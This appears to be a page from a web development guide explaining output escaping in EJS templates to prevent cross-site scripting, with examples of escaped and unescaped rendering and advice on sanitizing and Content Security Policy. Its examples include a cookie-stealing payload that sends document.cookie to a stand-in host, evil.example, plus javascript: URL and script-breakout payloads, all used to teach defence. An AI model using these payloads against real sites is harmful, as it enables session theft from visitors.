Escaping Output

Escaping Output in Server-Rendered Views

Cross-site scripting is an output bug, not an input bug: review text that is harmless in a JSON response becomes executable the moment you interpolate it into HTML. Every template engine in Static Files and Uploads escapes by default and offers a second syntax that does not - in EJS 689,492 , <%= %> escapes and <%- %> does not.

Escaped and unescaped interpolation of the same valueJavaScript
const body = '<b>Great!</b> <img src=x '
  + 'onerror="fetch(\'https://evil.example/?c=\'+document.cookie)">';
const review = { author: 'Mallory<script>alert(1)</script>', body };
const tpl = `<h3><%= review.author %></h3>
  <p><%= review.body %></p>
  <p class="raw"><%- review.body %></p>`;
console.log(ejs.render(tpl, { review }));
Output
<h3>Mallory&lt;script&gt;alert(1)&lt;/script&gt;</h3>
  <p>&lt;b&gt;Great!&lt;/b&gt; &lt;img src=x
     onerror=&#34;fetch(&#39;https://evil.example/?c=&#39;+document.cookie)&#34;&gt;</p>
  <p class="raw"><b>Great!</b> <img src=x
     onerror="fetch('https://evil.example/?c='+document.cookie)"></p>

The escaped lines replace & < > " ' with entities, so the browser prints the payload as text. The raw line ships a live onerror handler that mails the visitor's cookies elsewhere - which is why session cookies are httpOnly (Signed Cookies). But escaping is per context, and an engine knows only the HTML one. Two payloads survive <%= %>:

Output of 72
<a href="<%= url %>">   url = 'javascript:alert(document.domain)'
  -> <a href="javascript:alert(document.domain)">site</a>     still executable
<script>const u = "<%= name %>";</script>   name = '</script><script>alert(3)</script>'
  -> <script>const u = "&lt;/script&gt;&lt;script&gt;alert(3)...";</script>   safe here

The second is safe only because EJS escapes < and >; an engine that escaped just quotes would break out of the script block. Never build JavaScript by interpolation - pass data in a <script type="application/json"> block and JSON.parse it - and validate a URL's scheme before rendering it.

When you must accept HTML, sanitizing replaces escaping: sanitize-html 4,114 (MIT, apostrophecms/sanitize-html (https://github.com/apostrophecms/sanitize-html 4,114 ), 2.17.7) parses the fragment and rebuilds it from an allowlist of tags and attributes, so <b> survives and onerror does not. Sanitize when the content is stored and use <%- %> there only. A Content Security Policy, which Helmet 10,736 emits and Front-End Web Development explains, is the backstop for the mistake you will eventually make.